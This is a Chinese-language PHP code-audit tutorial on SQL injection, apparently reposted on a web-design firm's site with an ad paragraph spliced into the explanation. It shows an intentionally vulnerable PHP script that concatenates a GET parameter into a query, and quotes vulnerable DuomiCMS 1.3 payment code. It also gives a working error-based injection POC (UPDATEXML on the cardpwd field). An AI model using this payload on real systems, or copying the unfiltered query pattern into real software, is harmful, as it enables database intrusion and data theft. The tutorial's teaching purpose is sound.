PHP代碼審計(jì)SQL注入篇

什么是SQL注入

SQL注入***(SQL Injection),簡(jiǎn)稱注入***,是Web開發(fā)中最常見的一種安全漏洞。可以用它來(lái)從數(shù)據(jù)庫(kù)獲取敏感信息,或者利用數(shù)據(jù)庫(kù)的特性執(zhí)行添加用戶,導(dǎo)出文件等一系列惡意操作,甚至有可能獲取數(shù)據(jù)庫(kù)乃至系統(tǒng)用戶最高權(quán)限。

十多年的巴宜網(wǎng)站建設(shè)經(jīng)驗(yàn),針對(duì)設(shè)計(jì)、前端、開發(fā)、售后、文案、推廣等六對(duì)一服務(wù),響應(yīng)快,48小時(shí)及時(shí)工作處理。成都全網(wǎng)營(yíng)銷推廣的優(yōu)勢(shì)是能夠根據(jù)用戶設(shè)備顯示端的尺寸不同,自動(dòng)調(diào)整巴宜建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無(wú)論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計(jì),從而大程度地提升瀏覽體驗(yàn)。成都創(chuàng)新互聯(lián)從事“巴宜網(wǎng)站設(shè)計(jì)”,“巴宜網(wǎng)站推廣”以來(lái),每個(gè)客戶項(xiàng)目都認(rèn)真落實(shí)執(zhí)行。

而造成SQL注入的原因是因?yàn)槌绦驔](méi)有有效過(guò)濾用戶的輸入,使***者成功的向服務(wù)器提交惡意的SQL查詢代碼,程序在接收后錯(cuò)誤的將***者的輸入作為查詢語(yǔ)句的一部分執(zhí)行,導(dǎo)致原始的查詢邏輯被改變,額外的執(zhí)行了***者精心構(gòu)造的惡意代碼。

SQL注入實(shí)例

很多Web開發(fā)者沒(méi)有意識(shí)到SQL查詢是可以被篡改的,從而把SQL查詢當(dāng)作可信任的命令。殊不知,SQL查詢是可以繞開訪問(wèn)控制,從而繞過(guò)身份驗(yàn)證和權(quán)限檢查的。更有甚者,有可能通過(guò)SQL查詢?nèi)ミ\(yùn)行主機(jī)系統(tǒng)級(jí)的命令。

下面將通過(guò)一些真實(shí)的例子來(lái)詳細(xì)講解SQL注入的方式。

 PHP代碼審計(jì)SQL注入篇
 

測(cè)試代碼如下:

  1. <?php
  2. $uid=$_GET['id'];
  3. $sql="SELECT * FROM userinfo where id=$uid";
  4. $conn=MySQL_connect('localhost','root','root');
  5. mysql_select_db("sql",$conn);
  6. $result=mysql_query($sql,$conn);
  7. print_r('當(dāng)前SQL語(yǔ)句: '.$sql.'
    結(jié)果: ');
  8. print_r(mysql_fetch_row($result));
  9. ?>
PHP代碼審計(jì)SQL注入篇
 
首先我們看一下代碼:
  1. $uid=$_GET['id']; //獲取GET值
  1. $sql="SELECT * FROM userinfo where id=$uid";//執(zhí)行SQL語(yǔ)句
  1. $conn=mysql_connect('localhost','root','root');
  2. mysql_select_db("sql",$conn);//數(shù)據(jù)庫(kù)配配置
  1. $result=mysql_query($sql,$conn);//進(jìn)行查詢SQL語(yǔ)句
  1. print_r('當(dāng)前SQL語(yǔ)句: '.$sql.'
    結(jié)果: ');
  2. print_r(mysql_fetch_row($result));//進(jìn)行打印輸出沒(méi)有任何的過(guò)濾所以利用簡(jiǎn)單的SQL注入語(yǔ)句就可以直接查詢相關(guān)需要的信息。
PHP代碼審計(jì)SQL注入篇
 
從截圖可以看出原本的SQL語(yǔ)句已被注入更改,使用了UNION查詢到當(dāng)前用戶。

另外一個(gè)多米CMS最新版1.3版本注入實(shí)例。
漏洞文件member/mypay.php(14-40行)
  1. if(empty($_SESSION['duomi_user_id'])){
  2. showMsg("請(qǐng)先登錄","login.php");
  3. exit();
  4. }
  5. elseif($dm=='mypay'){
  6. $key=$_POST['cardkey'];
  7. if($key==""){showMsg("請(qǐng)輸入充值卡號(hào)","-1");exit;}
  8. $pwd=$_POST['cardpwd'];
  9. if($pwd==""){showMsg("請(qǐng)輸入充值卡密碼","-1");exit;}
  10. $sqlt="SELECT * FROM duomi_card where ckey='$key'";
  11. $sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";
  12. $row1= $dsql->GetOne($sqlt);
  13. if(!is_array($row1) OR $row1['status']<>0){
  14. showMsg("充值卡信息有誤","-1");exit;
  15. }else{
  16. $uname=$_SESSION['duomi_user_name'];
  17. $points=$row1['climit'];
  18. $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");
  19. $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");
  20. $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");
  21. showMsg("恭喜!充值成功!","mypay.php");exit;
  22. }
  23. }
  24. else
  25. {

此處的”cardpwd”變量沒(méi)有進(jìn)行過(guò)濾就以POST提交方式傳入了數(shù)據(jù)庫(kù)造成注入。 構(gòu)造POC如下(注意此處需要注冊(cè)用戶并且登陸詳情請(qǐng)看該文件1-17行):
  1. http://localhost/member/mypay.php?dm=mypay
  2. POST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1

PHP代碼審計(jì)SQL注入篇
 



來(lái)自為知筆記(Wiz)


分享題目:PHP代碼審計(jì)SQL注入篇
鏈接URL:http://bm7419.com/article6/jcieig.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站設(shè)計(jì)、自適應(yīng)網(wǎng)站、ChatGPT、軟件開發(fā)、企業(yè)網(wǎng)站制作外貿(mào)建站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

商城網(wǎng)站建設(shè)